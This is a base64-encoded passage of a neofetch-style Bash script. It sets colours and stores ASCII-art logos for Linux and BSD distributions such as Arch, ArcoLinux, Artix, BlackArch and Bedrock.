cgNAogICAgICAgICAgICByZWFkIC1yZCAnJyBhc2NpaV9kYXRhIDw8J0VPRicKJHtjMn0gICAgICAgICAgQQogICAgICAgICBvb28KICAgICAgICBvb29vbwogICAgICAgb29vb29vbwogICAgICBvb29vb29vb28KICAgICBvb29vbyBvb29vbwogICAgb29vb28gICBvb29vbwogICBvb29vbyAgICAgb29vb28KICBvb29vbyAgJHtjMX08b29vb29vb28+JHtjMn0KIG9vb29vICAgICAgJHtjMX08b29vb29vPiR7YzJ9Cm9vb29vICAgICAgICAgICR7YzF9PG9vb28+JHtjMn0KRU9GCiAgICAgICAgOzsKCiAgICAgICAgIkFyY29MaW51eCIqKQogICAgICAgICAgICBzZXRfY29sb3JzIDcgNAogICAgICAgICAgICByZWFkIC1yZCAnJyBhc2NpaV9kYXRhIDw8J0VPRicKJHtjMn0gICAgICAgICAgICAgICAgICAgIC8tCiAgICAgICAgICAgICAgICAgICBvb286CiAgICAgICAgICAgICAgICAgIHlvb29vLwogICAgICAgICAgICAgICAgIHlvb29vb29vCiAgICAgICAgICAgICAgICB5b29vb29vb29vCiAgICAgICAgICAgICAgIHlvb29vb29vb29vbwogICAgICAgICAgICAgLnlvb29vb29vb29vb29vCiAgICAgICAgICAgIC5vb29vb29vb29vb29vb29vCiAgICAgICAgICAgLm9vb29vb29hcmNvb29vb29vbwogICAgICAgICAgLm9vb29vb29vby1vb29vb29vb29vCiAgICAgICAgIC5vb29vb29vb28tICBvb29vb29vb29vCiAgICAgICAgOm9vb29vb29vby4gICAgOm9vb29vb29vbwogICAgICAgOm9vb29vb29vby4gICAgICA6b29vb29vb29vCiAgICAgIDpvb29hcmNvb28gICAgICAgICAub29vYXJjb29vCiAgICAgOm9vb29vb29veSAgICAgICAgICAgLm9vb29vb29vbwogICAgOm9vb29vb29vbyAgICR7YzF9L29vb29vb29vb29vb29vb29vb28ke2MyfQogICA6b29vb29vb29vICAgICAgJHtjMX0uLW9vb29vb29vb29vb29vb29vLiR7YzJ9CiAgb29vb29vb29vLSAgICAgICAgICAgICAke2MxfS1vb29vb29vb29vb29vLiR7YzJ9CiBvb29vb29vb28tICAgICAgICAgICAgICAgICAke2MxfS4tb29vb29vb29vby4ke2MyfQpvb29vb29vb28uICAgICAgICAgICAgICAgICAgICAgJHtjMX0tb29vb29vb29vJHtjMn0KRU9GCiAgICAgICAgOzsKCiAgICAgICAgImFyY2hfc21hbGwiKQogICAgICAgICAgICBzZXRfY29sb3JzIDYgNyAxCiAgICAgICAgICAgIHJlYWQgLXJkICcnIGFzY2lpX2RhdGEgPDwnRU9GJwoke2MxfSAgICAgIC9cXAogICAgIC8gIFxcCiAgICAvXFwgICBcXAoke2MyfSAgIC8gICAgICBcXAogIC8gICAsLCAgIFxcCiAvICAgfCAgfCAgLVxcCi9fLScnICAgICcnLV9cXApFT0YKICAgICAgICA7OwoKICAgICAgICAiYXJjaF9vbGQiKQogICAgICAgICAgICBzZXRfY29sb3JzIDYgNyAxCiAgICAgICAgICAgIHJlYWQgLXJkICcnIGFzY2lpX2RhdGEgPDwnRU9GJwoke2MxfSAgICAgICAgICAgICBfXwogICAgICAgICBfPShTREdKVD1fCiAgICAgICBfR1RESkhHR0ZDVlMpCiAgICAgICxHVERKR0dEVERGQkdYMAoke2MxfSAgICAgSkRKRElKSFJPUlZGU0JTVkwke2MyfS09Kz0sXwoke2MxfSAgICBJSkZEVUZISk5YSVhDRFhEU1YsJHtjMn0gICJERUJMCiR7YzF9ICAgW0xLRFNESlREVT1PVVNDU0JGTEQuJHtjMn0gICAnP1pXWCwKJHtjMX0gICxMTURTRFNXSCcgICAgIGBEQ0JPU0kke2MyfSAgICAgRFJEU10sCiR7YzF9ICBTRERGREZIJyAgICAgICAgICFZRVdELCR7YzJ9ICAgKUhEUk9ECiR7YzF9ICFLTURPQ0cgICAgICAgICAgICAmR1NVfCR7YzJ9XF9HRkhSR09cJwoke2MxfSBIS0xTR1AnJHtjMn0gICAgICAgICAgIF9fJHtjMX1cVEtNMCR7YzJ9XEdIUkJWKScKJHtjMX1KU05SVlcnJHtjMn0gICAgICAgX18rTU5BRUMke2MxfVxJT0ksJHtjMn1cQk4nCiR7YzF9SEVMS1snJHtjMn0gICAgX18sPU9GRlhDQkdIQyR7YzF9XEZEKQoke2MxfT9LR0hFICR7YzJ9XF8tI0RBU0RGTFNWPScke2MxfSAgICAnRUYKJ0VIVEkgICAgICAgICAgICAgICAgICAgICFICiBgMEYnICAgICAgICAgICAgICAgICAgICAnIQpFT0YKICAgICAgICA7OwoKICAgICAgICAiQXJjaEJveCIqKQogICAgICAgICAgICBzZXRfY29sb3JzIDIgNyAxCiAgICAgICAgICAgIHJlYWQgLXJkICcnIGFzY2lpX2RhdGEgPDwnRU9GJwoke2MxfSAgICAgICAgICAgICAgLi4uOitvaC86OjouLgogICAgICAgICAuLi0vb3NoaGhoaGhgICAgYDo6OjotLgogICAgIC46L29oaGhoaGhoaGhoaGhgICAgICAgICBgLTo6OjouCiAuK3NoaGhoaGhoaGhoaGhoaGhoaGAgICAgICAgICAgICAgYC46Oi0uCiAvYC06K3NoaGhoaGhoaGhoaGhoaGAgICAgICAgICAgICAuLS8rc2hoCiAvICAgICAgLjovb2hoaGhoaGhoaGAgICAgICAgLjovb2hoaGhoaGhoCiAvICAgICAgICAgICBgLTorc2hoaGAgIC4uOitzaGhoaGhoaGhoaGhoCiAvICAgICAgICAgICAgICAgICAuOm9oaGhoaGhoaGhoaGhoaGhoaGhoCiAvICAgICAgICAgICAgICAgICAgYGhoaGhoaGhoaGhoaGhoaGhoaGhoCiAvICAgICAgICAgICAgICAgICAgYGhoaGhoaGhoaGhoaGhoaGhoaGhoCiAvICAgICAgICAgICAgICAgICAgYGhoaGhoaGhoaGhoaGhoaGhoaGhoCiAvICAgICAgICAgICAgICAgICAgYGhoaGhoaGhoaGhoaGhoaGhoaGhoCiAvICAgICAgLitvKyAgICAgICAgYGhoaGhoaGhoaGhoaGhoaGhoaGhoCiAvICAgICAtaGhoaGggICAgICAgYGhoaGhoaGhoaGhoaGhoaGhoaGhoCiAvICAgICBvaGhoaGhvICAgICAgYGhoaGhoaGhoaGhoaGhoaGhoaGhoCiAvOjo6K2BoaGhob29zYCAgICAgYGhoaGhoaGhoaGhoaGhoaGhocytgCiAgICBgLS0vOmAgICAvOiAgICAgYGhoaGhoaGhoaGhoaG8vLQogICAgICAgICAgICAgLS86LiAgIGBoaGhoaGhzKzotYAogICAgICAgICAgICAgICAgOjo6Oi9oby8tYApFT0YKICAgICAgICA7OwoKICAgICAgICAiQVJDSGxhYnMiKikKICAgICAgICAgICAgc2V0X2NvbG9ycyA2IDYgNyAxCiAgICAgICAgICAgIHJlYWQgLXJkICcnIGFzY2lpX2RhdGEgPDwnRU9GJwoke2MxfSAgICAgICAgICAgICAgICAgICAgICdjJwogICAgICAgICAgICAgICAgICAgICdrS2ssCiAgICAgICAgICAgICAgICAgICAuZEtLS3guCiAgICAgICAgICAgICAgICAgIC5vS1hLWEtkLgogICAgICAgICAgICAgICAgIC5sMFhYWFhLS28uCiAgICAgICAgICAgICAgICAgYzBLWFhYWEtYMGwuCiAgICAgICAgICAgICAgICA6MFhLS094eE9LWDBsLgogICAgICAgICAgICAgICA6T1hLT2MuIC5jMFhYMGwuCiAgICAgICAgICAgICAgOk9LMG8uICR7YzR9Li4uJHtjMX0nZEtLWDBsLgogICAgICAgICAgICAgOk9YMGMgICR7YzR9O3hPeCcke2MxfSdkS1hYMGwuCiAgICAgICAgICAgIDowS0tvLiR7YzR9Lm8wWFhLZCcuJHtjMX1sS1hYMGwuCiAgICAgICAgICAgYzBYS2QuJHtjNH0ub0tYWFhYS2QuLiR7YzF9b0tLWDBsLgogICAgICAgICAuYzBYS2s7JHtjNH0ubDBLME9PMFhLZC4uJHtjMX1vS1hYS28uCiAgICAgICAgLmwwWFhYazoke2M0fSxkS3gsLidsMFhLby4ke2MxfS5rWFhYS28uCiAgICAgICAubzBYWFhYMGQsJHtjNH06eDsgICAub0tLeCcke2MxfS5kWEtYWEtkLgogICAgICAub0tYWFhYS0swYy4ke2M0fTsuICAgIDowMGMnJHtjMX1jT1hYWFhYS2QuCiAgICAgLmRLWFhYWFhYWFhrLCR7YzR9LiAgICAgY0t4JyR7YzF9J3hLWFhYWFhYS3gnCiAgICAneEtYWFhYSzBrZGw6LiAgICAgJHtjNH0ub2s7ICR7YzF9LmNkazBLS1hYWEt4JwogICAneEtLMGtvYywuLiAgICAgICAgICR7YzR9J2MsICR7YzF9ICAgIC4uLGNvazBLS2ssCiAgLHhrbzonLiAgICAgICAgICAgICAke2M0fS4uICR7YzF9ICAgICAgICAgICAuJzpva3g7CiAuLCcuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAuJywuCkVPRgogICAgICAgIDs7CgogICAgICAgICJBcmNoU3RyaWtlIiopCiAgICAgICAgICAgIHNldF9jb2xvcnMgOCA2CiAgICAgICAgICAgIHJlYWQgLXJkICcnIGFzY2lpX2RhdGEgPDwnRU9GJwoke2MxfSDCoCDCoCDCoCDCoCDCoCDCoCDCoCDCoCDCoCAqwqAgwqAKwqAgwqAgwqAgwqAgwqAgwqAgwqAgwqAgwqAgKiouCsKgIMKgIMKgIMKgIMKgIMKgIMKgIMKgIMKgKioqKgrCoCDCoCDCoCDCoCDCoCDCoCDCoCDCoCAqKioqKioKwqAgwqAgwqAgwqAgwqAgwqAgwqAgwqAgKioqKioqKgrCoCDCoCDCoCDCoCDCoCDCoCDCoCAqKiAqKioqKioqCsKgIMKgIMKgIMKgIMKgIMKgIMKgKioqKiAqKioqKioqCsKgIMKgIMKgIMKgIMKgIMKgICR7YzF9KioqKiR7YzJ9X19fX18ke2MxfSoqKiR7YzJ9LyR7YzF9KgrCoCDCoCDCoCDCoCDCoCDCoCoqKiR7YzJ9LyR7YzF9KioqKioqKiR7YzJ9Ly8ke2MxfSoqKgrCoCDCoCDCoCDCoCDCoCAqKiR7YzJ9LyR7YzF9KioqKioqKioke2MyfS8vLyR7YzF9KiR7YzJ9LyR7YzF9KioKwqAgwqAgwqAgwqAgwqAqKiR7YzJ9LyR7YzF9KioqKioqKiR7YzJ9Ly8vLyR7YzF9KioqJHtjMn0vJHtjMX0qKgrCoCDCoCDCoCDCoCAqKiR7YzJ9LyR7YzF9KioqKiR7YzJ9Ly8vLy8vLiwke2MxfSoqKioke2MyfS8ke2MxfSoqCsKgIMKgIMKgIMKgKioqJHtjMn0vJHtjMX0qKioqKiR7YzJ9Ly8vLy8vLy8vJHtjMX0qKiR7YzJ9LyR7YzF9KioqCsKgIMKgIMKgICoqKioke2MyfS8ke2MxfSoqKiogwqAgwqAke2MyfS8vLy8vJHtjMX0qKioke2MyfS8ke2MxfSoqKioKwqAgwqAgwqAqKioqKioke2MyfS8ke2MxfSoqKiAgJHtjMn0vLy8vIMKgICR7YzF9Kioke2MyfS8ke2MxfSoqKioqKgrCoCDCoCAqKioqKioqKiR7YzJ9LyR7YzF9KiAke2MyfS8vLyDCoCDCoMKgICR7YzF9KiR7YzJ9LyR7YzF9KioqKioqKioKwqAgLCoqKioqKiDCoCDCoCAke2MyfS8vIF9fX19fXyAvIMKgIMKgJHtjMX0qKioqKiosCkVPRgogICAgICAgIDs7CgogICAgICAgICoiWEZlcmllbmNlIiopCiAgICAgICAgICAgIHNldF9jb2xvcnMgNiA2IDcgMQogICAgICAgICAgICByZWFkIC1yZCAnJyBhc2NpaV9kYXRhIDw8J0VPRicKJHtjMX0gICAgICAgICAgIGBgLS06Ojo6Ojo6LS5gCiAgICAgICAgLi0vKysrb29vb29vb29vKysrOi1gCiAgICAgYC0vK29vb29vb29vb29vb29vb29vbysrOi4KICAgIC0vK29vb29vby8rb29vb29vb29vKy9vb28rKzpgCiAgYC8rb28rK29vLiAgIC4rb29vb29vKy4tOiArOi1vKy0KIGAvK28vLiAgLW8uICAgIDpvb29vb28rIGBgYDouK29vKy0KYDorb28tICAgIC0vYCAgIDpvb29vb28rIC5gLWArb29vby8uCi4rb29vKy4gICAgLmAgICBgOi8vLy8vKy0rLi5vb29vb28rOmAKLStvb286YCAgICAgICAgICAgICAgICBgYC4tK29vb29vbysvYAotK29vL2AgICAgICAgICAgICAgICAgICAgICAgIDorb29vby8uCi4rb286ICAgICAgICAgICAgLi4tLy4gLiAgICAgIC0rb28rL2AKYC8rKy0gICAgICAgICAtOjo6Kys6Oi8uICAgICAgLStvbystCiAuL286ICAgICAgICAgIGA6Ly8vKy0gICAgIGAuL29vbys6YAogIC4rKy0gICAgICAgICBgYCAvLWAgICAtOi8rb29vbys6YAogICAuOisvOmBgICAgICAgICAgIGAtOm9vb29vb28rKy0KICAgICAuLytvKy8vOi4uLi4uLytvb29vb29vbysrOmAKICAgICAgIGA6Lysrb29vb29vb29vb29vbysrLy1gCiAgICAgICAgICBgLi0vLysrKysrKy8vOi0uYAogICAgICAgICAgICAgICBgYGBgYGAKRU9GCiAgICAgICAgOzsKCiAgICAgICAgIkFyY2hNZXJnZSIqKQogICAgICAgICAgICBzZXRfY29sb3JzIDYgNiA3IDEKICAgICAgICAgICAgcmVhZCAtcmQgJycgYXNjaWlfZGF0YSA8PCdFT0YnCiR7YzF9ICAgICAgICAgICAgICAgICAgICB5OgogICAgICAgICAgICAgICAgICBzTU4tCiAgICAgICAgICAgICAgICAgK01NTW1gCiAgICAgICAgICAgICAgICAvTU1NTU1kYAogICAgICAgICAgICAgICA6Tk1NTU1NTXkKICAgICAgICAgICAgICAtTk1NTU1NTU1NcwogICAgICAgICAgICAgLk5NTU1NTU1NTU1NKwogICAgICAgICAgICAubU1NTU1NTU1NTU1NTSsKICAgICAgICAgICAgb05NTU1NTU1NTU1NTU1NKwogICAgICAgICAgYCs6LStOTU1NTU1NTU1NTU1NKwogICAgICAgICAgLnNOTU5oTk1NTU1NTU1NTU1NTS8KICAgICAgICBgaGhvL3NOTU1NTU1NTU1NTU1NTU1NLwogICAgICAgYC5gb21NTW1NTU1NTU1NTU1NTU1NTU1NKwogICAgICAubU1OZHNoTU1NTWQrOjpvTk1NTU1NTU1NTW8KICAgICAubU1NTU1NTU1NTSsgICAgIGB5TU1NTU1NTU1NcwogICAgLk5NTU1NTU1NTU0vICAgICAgICB5TU1NTU1NTU1NeQogICAtTk1NTU1NTU1NTWggICAgICAgICBgbU5NTU1NTU1NTWRgCiAgL05NTU1OZHMrOi5gICAgICAgICAgICAgIGAtL295bU1NTW0uCiArTW15Ly4gICAgICAgICAgICAgICAgICAgICAgICAgIGA6c21OOgovKy4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW8uCkVPRgogICAgICAgIDs7CgogICAgICAgICJBcmNoIiopCiAgICAgICAgICAgIHNldF9jb2xvcnMgNiA2IDcgMQogICAgICAgICAgICByZWFkIC1yZCAnJyBhc2NpaV9kYXRhIDw8J0VPRicKJHtjMX0gICAgICAgICAgICAgICAgICAgLWAKICAgICAgICAgICAgICAgICAgLm8rYAogICAgICAgICAgICAgICAgIGBvb28vCiAgICAgICAgICAgICAgICBgK29vb286CiAgICAgICAgICAgICAgIGArb29vb29vOgogICAgICAgICAgICAgICAtK29vb29vbys6CiAgICAgICAgICAgICBgLzotOisrb29vbys6CiAgICAgICAgICAgIGAvKysrKy8rKysrKysrOgogICAgICAgICAgIGAvKysrKysrKysrKysrKys6CiAgICAgICAgICBgLysrK28ke2MyfW9vb29vb29vJHtjMX1vb29vL2AKJHtjMn0gICAgICAgICAke2MxfS4vJHtjMn1vb29zc3Nzbysrb3Nzc3Nzc28ke2MxfStgCiR7YzJ9ICAgICAgICAub29zc3Nzc28tYGBgYC9vc3Nzc3NzK2AKICAgICAgIC1vc3Nzc3Nzby4gICAgICA6c3Nzc3Nzc28uCiAgICAgIDpvc3Nzc3Nzcy8gICAgICAgIG9zc3NzbysrKy4KICAgICAvb3Nzc3Nzc3NzLyAgICAgICAgK3Nzc3Nvb28vLQogICBgL29zc3Nzc28rLzotICAgICAgICAtOi8rb3Nzc3NvKy0KICBgK3Nzbys6LWAgICAgICAgICAgICAgICAgIGAuLS8rb3NvOgogYCsrOi4gICAgICAgICAgICAgICAgICAgICAgICAgICBgLS8rLwogLmAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBgLwpFT0YKICAgICAgICA7OwoKICAgICAgICAiYXJ0aXhfc21hbGwiKikKICAgICAgICAgICAgc2V0X2NvbG9ycyA2IDYgNyAxCiAgICAgICAgICAgIHJlYWQgLXJkICcnIGFzY2lpX2RhdGEgPDwnRU9GJwoke2MxfSAgICAgIC9cXAogICAgIC8gIFxcCiAgICAvYCcuLFxcCiAgIC8gICAgICcsCiAgLyAgICAgICxgXFwKIC8gICAsLidgLiAgXFwKLy4sJ2AgICAgIGAnLlxcCkVPRgogICAgICAgIDs7CgogICAgICAgICJBcnRpeCIqKQogICAgICAgICAgICBzZXRfY29sb3JzIDYgNiA3IDEKICAgICAgICAgICAgcmVhZCAtcmQgJycgYXNjaWlfZGF0YSA8PCdFT0YnCiR7YzF9ICAgICAgICAgICAgICAgICAgICcKICAgICAgICAgICAgICAgICAgJ28nCiAgICAgICAgICAgICAgICAgJ29vbycKICAgICAgICAgICAgICAgICdvb3hvbycKICAgICAgICAgICAgICAgJ29veHh4b28nCiAgICAgICAgICAgICAgJ29vb2treHhvbycKICAgICAgICAgICAgICdvaWlveGtreHhvbycKICAgICAgICAgICAgJzo7OmlpaWlveHh4b28nCiAgICAgICAgICAgICAgIGAnLjs6OmlveHhvbycKICAgICAgICAgICctLiAgICAgIGAnOjtqaW9vbycKICAgICAgICAgJ29vb2lvLS4uICAgICBgJ2k6aW8nCiAgICAgICAgJ29vb294eHh4b2lvOiwuICAgYCctOycKICAgICAgICdvb29veHh4eHhra3hvb29JaTotLiAgYCcKICAgICAgJ29vb294eHh4eGtra2t4b2lpaWlpamknCiAgICAgJ29vb294eHh4eGt4eG9paWlpOidgICAgICAuaScKICAgICdvb29veHh4eHhvaTo6OidgICAgICAgIC47aW94bycKICAgJ29vb294b29pOjonYCAgICAgICAgIC46aWlpeGt4eG8nCiAgJ29vb29pOidgICAgICAgICAgICAgICAgIGAnJztpb3h4bycKICdpOidgICAgICAgICAgICAgICAgICAgICAgICAgICAnJzppbycKJ2AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGAnCkVPRgogICAgICAgIDs7CgogICAgICAgICJBcnlhIiopCiAgICAgICAgICAgIHNldF9jb2xvcnMgMiAxCiAgICAgICAgICAgIHJlYWQgLXJkICcnIGFzY2lpX2RhdGEgPDwnRU9GJwoke2MxfSAgICAgICAgICAgICAgICBgb3l5eS8ke2MyfS15eXl5eXkrCiR7YzF9ICAgICAgICAgICAgICAgLXN5eXl5LyR7YzJ9LXl5eXl5eSsKJHtjMX0gICAgICAgICAgICAgIC5zeXl5eXkvJHtjMn0teXl5eXl5Kwoke2MxfSAgICAgICAgICAgICAgOnl5eXl5eS8ke2MyfS15eXl5eXkrCiR7YzF9ICAgICAgICAgICBgLyA6eXl5eXl5LyR7YzJ9LXl5eXl5eSsKJHtjMX0gICAgICAgICAgLitzIDp5eXl5eXkvJHtjMn0teXl5eXl5Kwoke2MxfSAgICAgICAgIC5veXMgOnl5eXl5eS8ke2MyfS15eXl5eXkrCiR7YzF9ICAgICAgICAtb3l5cyA6eXl5eXl5LyR7YzJ9LXl5eXl5eSsKJHtjMX0gICAgICAgOnN5eXlzIDp5eXl5eXkvJHtjMn0teXl5eXl5Kwoke2MxfSAgICAgIC9zeXl5eXMgOnl5eXl5eS8ke2MyfS15eXl5eXkrCiR7YzF9ICAgICAreXl5eXl5cyA6eXl5eXl5LyR7YzJ9LXl5eXl5eSsKJHtjMX0gICAub3l5eXl5eW8uIDp5eXl5eXkvJHtjMn0teXl5eXl5KyAtLS0tLS0tLS0KJHtjMX0gIC5zeXl5eXl5K2AgIDp5eXl5eXkvJHtjMn0teXl5eXkrLStzeXl5eXl5eXkKJHtjMX0gLXN5eXl5eXkvICAgIDp5eXl5eXkvJHtjMn0teXl5czouc3l5eXl5eXl5eXkKJHtjMX06c3l5eXl5eS8gICAgIDp5eXl5eXkvJHtjMn0teXlvLjpzeXl5eXl5eXl5eXkKRU9GCiAgICAgICAgOzsKCiAgICAgICAgIkFzdGVyb2lkT1MiKikKICAgICAgICAgICAgc2V0X2NvbG9ycyAxNjAgMjA4IDIwMiAyMTQKICAgICAgICAgICAgcmVhZCAtcmQgJycgYXNjaWlfZGF0YSA8PCdFT0YnCiR7YzF9ICAgICAgICAgICAgICAgICAgICAqKioKJHtjMX0gICAgICAgICAgICAgICAgICAgKioqKioKJHtjMX0gICAgICAgICAgICAgICAgKioqKioqKioqKgoke2MxfSAgICAgICAgICAgICAgKioqKioqKioqKioqKioqCiR7YzF9ICAgICAgICAgICAqLy8vKioqKi8vLy8qKioqLy8vLy4KJHtjMn0gICAgICAgICAoLy8vLy8vLyAvLy8vLy8vIC8vLy8vLy8oCiR7YzJ9ICAgICAgLygoKCgoLy8qICAgICAvLywgICAgIC8vKCgoKCgoLgoke2MyfSAgICAoKCgoKCgoKCgoKCAgICAgKCgoICAgICAgICAoKCgoKCgoKAoke2MyfSAqKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCggICAgICAgICgoKCgoKCgoCiR7YzN9ICAgICgoKCgoIygoKCgoKCgjKCgoKCggICAgICAgICgoIygoKCgoCiR7YzN9ICAgICAoIygjKCMjIyMjKCMoIywgICAgICAgIyMjIygjKCMKJHtjM30gICAgICAgICAjIyMjIyMjIyMgICAgICAgICMjIyMjIyMjCiR7YzN9ICAgICAgICAgICAvIyMjIyMjIyMgICAjIyMjIyMjIwoke2M0fSAgICAgICAgICAgICAgIyMjIyMjIyUjIyMjIyMjCiR7YzR9ICAgICAgICAgICAgICAgICgjJSUlJSUlJSMKJHtjNH0gICAgICAgICAgICAgICAgICAgJSUlJSUKJHtjNH0gICAgICAgICAgICAgICAgICAgICUlJQpFT0YKICAgICAgICA7OwoKICAgICAgICAiQmVkcm9jayIqKQogICAgICAgICAgICBzZXRfY29sb3JzIDggNwogICAgICAgICAgICByZWFkIC1yZCAnJyBhc2NpaV9kYXRhIDw8J0VPRicKJHtjMX0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQotLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQotLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQotLS0ke2MyfVxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXCR7YzF9LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KLS0tLSR7YzJ9XFxcXFxcICAgICAgXFxcXFxcJHtjMX0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCi0tLS0tJHtjMn1cXFxcXFwgICAgICBcXFxcXFwke2MxfS0tLS0tLS0tLS0tLS0tLS0tLS0tLQotLS0tLS0ke2MyfVxcXFxcXCAgICAgIFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFwke2MxfS0tLS0tLQotLS0tLS0tJHtjMn1cXFxcXFwgICAgICAgICAgICAgICAgICAgIFxcXFxcXCR7YzF9LS0tLS0KLS0tLS0tLS0ke2MyfVxcXFxcXCAgICAgICAgICAgICAgICAgICAgXFxcXFxcJHtjMX0tLS0tCi0tLS0tLS0tLSR7YzJ9XFxcXFxcICAgICAgICBfX19fX18gICAgICBcXFxcXFwke2MxfS0tLQotLS0tLS0tLS0tJHtjMn1cXFxcXFwgICAgICAgICAgICAgICAgICAgLy8vJHtjMX0tLS0KLS0tLS0tLS0tLS0ke2MyfVxcXFxcXCAgICAgICAgICAgICAgICAgLy8vJHtjMX0tLS0tCi0tLS0tLS0tLS0tLSR7YzJ9XFxcXFxcICAgICAgICAgICAgICAgLy8vJHtjMX0tLS0tLQotLS0tLS0tLS0tLS0tJHtjMn1cXFxcXFwvLy8vLy8vLy8vLy8vLy8vJHtjMX0tLS0tLS0KLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KRU9GCiAgICAgICAgOzsKCiAgICAgICAgIkJpdHJpZyIqKQogICAgICAgICAgICBzZXRfY29sb3JzIDIgNwogICAgICAgICAgICByZWFkIC1yZCAnJyBhc2NpaV9kYXRhIDw8J0VPRicKJHtjMX0gICBgaE1NTU1OKwogICAtTU1vLWRNZGAKICAgb01OLSBvTU5gCiAgIHlNZCAgL05NOgogIC5tTW15eWhNTXMKICA6Tk1NTWhzbU1oCiAgK01OaE5Ob3lNbS0KICBoTWQuLWhNTk1OOgogIG1NbXNzc21NTU1vCiAuTU1keXloTk1NTWQKIG9NTi5gL2RNZGRNTmAKIHlNbS9oTm0rLi9NTS8KLmRNTU1tby5gYC5OTW8KOk5NTU1ObW1tbW1NTWgKL01OLy0tLS0tLS1vTk46CmhNZC4gICAgICAgLmRNaApzbS8gICAgICAgICAvbXMKRU9GCiAgICAgICAgOzsKCiAgICAgICAgIkJsYWNrQXJjaCIqKQogICAgICAgICAgICBzZXRfY29sb3JzIDEgMSAwIDEKICAgICAgICAgICAgcmVhZCAtcmQgJycgYXNjaWlfZGF0YSA8PCdFT0YnCiR7YzN9ICAgICAgICAgICAgICAgICAgIDAwCiAgICAgICAgICAgICAgICAgICAxMQogICAgICAgICAgICAgICAgICA9PT09JHtjMX0KICAgICAgICAgICAgICAgICAgLiR7YzN9Ly8ke2MxfQogICAgICAgICAgICAgICAgIGBvJHtjM30vLyR7YzF9OgogICAgICAgICAgICAgICAgYCtvJHtjM30vLyR7YzF9bzoKICAgICAgICAgICAgICAgYCtvbyR7YzN9Ly8ke2MxfW9vOgogICAgICAgICAgICAgICAtK29vJHtjM30vLyR7YzF9b28rOgogICAgICAgICAgICAgYC86LTorJHtjM30vLyR7YzF9b29vKzoKICAgICAgICAgICAgYC8rKysrKyR7YzN9Ly8ke2MxfSsrKysrOgogICAgICAgICAgIGAvKysrKysrJHtjM30vLyR7YzF9KysrKysrOgogICAgICAgICAgYC8rKytvJHtjMn1vb28ke2MzfS8vJHtjMn1vb28ke2MxfW9vb28vYAoke2MyfSAgICAgICAgICR7YzF9Li8ke2MyfW9vb3Nzc3NvJHtjM30vLyR7YzJ9b3Nzc3Nzc28ke2MxfStgCiR7YzJ9ICAgICAgICAub29zc3Nzc28tYCR7YzN9Ly8ke2MxfWAvb3Nzc3NzcytgCiAgICAgICAtb3Nzc3Nzc28uICAke2MzfS8vJHtjMX0gIDpzc3Nzc3Nzby4KICAgICAgOm9zc3Nzc3NzLyAgICR7YzN9Ly8ke2MxfSAgIG9zc3NzbysrKy4KICAgICAvb3Nzc3Nzc3NzLyAgICR7YzN9Ly8ke2MxfSAgICtzc3Nzb29vLy0KICAgYC9vc3Nzc3NvKy86LSAgICR7YzN9Ly8ke2MxfSAgIC06Lytvc3Nzc28rLQogIGArc3NvKzotYCAgICAgICAgJHtjM30vLyR7YzF9ICAgICAgIGAuLS8rb3NvOgogYCsrOi4gICAgICAgICAgICAgJHtjM30vLyR7YzF9ICAgICAgICAgICAgYC0vKy8KIC5gICAgICAgICAgICAgICAgICR7YzN9LyR7YzF9ICAgICAgICAgICAgICAgIGAvCkVPRgogICAgICAgIDs7CgogICAgICAgICJCTEFHIiopCiAgICAgICAgICAgIHNldF9jb2xvcnMgNSA3CiAgICAgICAgICAgIHJlYWQgLXJkICcnIGFzY2lpX2RhdGEgPDwnRU9GJwoke2MxfSAgICAgICAgICAgICBkCiAgICAgICAgICAgICxNSzoKICAgICAgICAgICAgeE1NTVg6CiAgICAgICAgICAgLk5NTU1NTVg7CiAgICAgICAgICAgbE1NTU1NTU1NMGNsb2RrTzBLWFdXOgogICAgICAgICAgIEtNTU1NTU1NTU1NTU1NTU1NTU1YJwogICAgICAuO2QwTk1NTU1NTU1NTU1NTU1NTU1NTUsuCiAuO2RPTk1NTU1NTU1NTU1NTU1NTU1NTU1NTU14CidkS01NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTWwKICAgLjp4S1dNTU1NTU1NTU1NTU1NTU1NTU1NMC4KICAgICAgIC46eE5NTU1NTU1NTU1NTU1NTU1NTUsuCiAgICAgICAgICBsTU1NTU1NTU1NTU1NTU1NTU1NSy4KICAgICAgICAgICxNTU1NTU1NTVdrT1hXTU1NTU1NMAogICAgICAgICAgLk5NTU1NTU5kLiAgICAgYCc6bGRrbwogICAgICAgICAgIE9NTU1LOgogICAgICAgICAgIG9XaywKICAgICAgICAgICA7OgpFT0YKICAgICAgICA7OwoKICAgICAgICAiQmxhbmtPbiIqKQogICAgICAgICAgICBzZXRfY29sb3JzIDEgNyAzCiAgICAgICAgICAgIHJlYWQgLXJkICcnIGFzY2lpX2RhdGEgPDwnRU9GJwoke2MyfSAgICAgICAgYC4vb2hkTk1NTU1ObWhvKy5gICR7YzF9ICAgICAgIC4rb286YAoke2MyfSAgICAgIC1zbU1NTU1NTU1NTU1NTU1NTU1teS1gICAgICR7YzF9YHl5eXl5Kwoke2MyfSAgIGA6ZE1NTU1NTU1NTU1NTU1NTU1NTU1NTU1kL2AgICR7YzF9YHl5eXl5cwoke2MyfSAgLmhNTU1NTU1NTm1oc28vKytzeW1OTU1NTU1NTWgtICR7YzF9YHl5eXl5cwoke2MyfSAtbU1NTU1NTW1zLWAgICAgICAgICAtb21NTU1NTU1OLSR7YzF9Lnl5eXl5cwoke2MyfS5tTU1NTU1NeS4gICAgICAgICAgICAgIC